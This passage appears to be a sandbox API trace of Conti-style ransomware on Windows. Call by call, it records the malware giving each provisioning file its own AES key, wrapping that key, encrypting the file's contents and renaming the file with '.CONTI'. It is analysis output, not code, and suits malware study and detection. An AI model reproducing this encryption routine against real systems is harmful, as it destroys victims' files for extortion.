	[0111.741] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.741] CloseHandle (hObject=0x308) returned 1
	[0111.741] GetProcessHeap () returned 0x1720000
	[0111.741] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.741] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml"
	[0111.741] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.741] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.742] GetProcessHeap () returned 0x1720000
	[0111.742] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.742] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.742] GetProcessHeap () returned 0x1720000
	[0111.742] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c408 | out: hHeap=0x1720000) returned 1
	[0111.742] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0111.742] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x18029c8 | out: phKey=0x18029c8*=0x6b7f0b8) returned 1
	[0111.742] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x18029cc, pdwDataLen=0x433f9bc | out: pbData=0x18029cc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0111.743] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.743] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0111.743] GetLastError () returned 0x0
	[0111.743] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=721) returned 1
	[0111.743] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0111.743] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.743] SetEndOfFile (hFile=0x308) returned 1
	[0111.744] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.744] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.744] WriteFile (in: hFile=0x308, lpBuffer=0x18029cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x18029cc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0111.750] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.751] ReadFile (in: hFile=0x308, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2d1, lpOverlapped=0x0) returned 1
	[0111.751] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d1, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e0) returned 1
	[0111.751] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.751] WriteFile (in: hFile=0x308, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.751] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.751] WriteFile (in: hFile=0x308, lpBuffer=0x18029c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x18029c0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0111.751] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.751] CloseHandle (hObject=0x308) returned 1
	[0111.751] GetProcessHeap () returned 0x1720000
	[0111.751] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.751] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml"
	[0111.751] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.751] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.752] GetProcessHeap () returned 0x1720000
	[0111.752] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.752] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0111.752] GetProcessHeap () returned 0x1720000
	[0111.752] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1807750 | out: hHeap=0x1720000) returned 1
	[0111.752] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0111.752] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x1800300 | out: phKey=0x1800300*=0x6b7f0b8) returned 1
	[0111.752] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x1800304, pdwDataLen=0x433f9bc | out: pbData=0x1800304*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0111.753] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.753] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0111.753] GetLastError () returned 0x0
	[0111.753] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=637) returned 1
	[0111.753] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27d
	[0111.753] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.753] SetEndOfFile (hFile=0x308) returned 1
	[0111.754] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.754] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.754] WriteFile (in: hFile=0x308, lpBuffer=0x1800304*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x1800304*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0111.760] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.760] ReadFile (in: hFile=0x308, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x27d, lpOverlapped=0x0) returned 1
	[0111.760] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x27d, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x280) returned 1
	[0111.760] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.760] WriteFile (in: hFile=0x308, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x280, lpOverlapped=0x0) returned 1
	[0111.760] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.760] WriteFile (in: hFile=0x308, lpBuffer=0x18002f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x18002f8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0111.760] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.761] CloseHandle (hObject=0x308) returned 1
	[0111.761] GetProcessHeap () returned 0x1720000
	[0111.761] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.761] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml"
	[0111.761] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.761] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.761] GetProcessHeap () returned 0x1720000
	[0111.761] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.761] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0111.762] GetProcessHeap () returned 0x1720000
	[0111.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1810 | out: hHeap=0x1720000) returned 1
	[0111.762] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0111.762] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x1802538 | out: phKey=0x1802538*=0x6b7f3b8) returned 1
	[0111.762] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x180253c, pdwDataLen=0x433f9bc | out: pbData=0x180253c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0111.762] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.763] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0111.763] GetLastError () returned 0x0
	[0111.763] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=716) returned 1
	[0111.763] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0111.763] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.763] SetEndOfFile (hFile=0x308) returned 1
	[0111.763] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.763] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.763] WriteFile (in: hFile=0x308, lpBuffer=0x180253c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x180253c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0112.799] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.799] ReadFile (in: hFile=0x308, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2cc, lpOverlapped=0x0) returned 1
	[0112.799] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2cc, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0112.799] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.799] WriteFile (in: hFile=0x308, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.800] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.800] WriteFile (in: hFile=0x308, lpBuffer=0x1802530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x1802530*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0112.800] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.800] CloseHandle (hObject=0x308) returned 1
	[0112.821] GetProcessHeap () returned 0x1720000
	[0112.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.095] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0114.095] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.095] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.096] GetProcessHeap () returned 0x1720000
	[0114.096] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.096] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0114.096] GetProcessHeap () returned 0x1720000
	[0114.096] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18079e0 | out: hHeap=0x1720000) returned 1
	[0114.096] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0114.096] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ce18 | out: phKey=0x6b4ce18*=0x17c7cb0) returned 1
	[0114.096] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ce1c, pdwDataLen=0x433f9bc | out: pbData=0x6b4ce1c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0114.097] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0114.097] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0114.097] GetLastError () returned 0x0
	[0114.097] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=454) returned 1
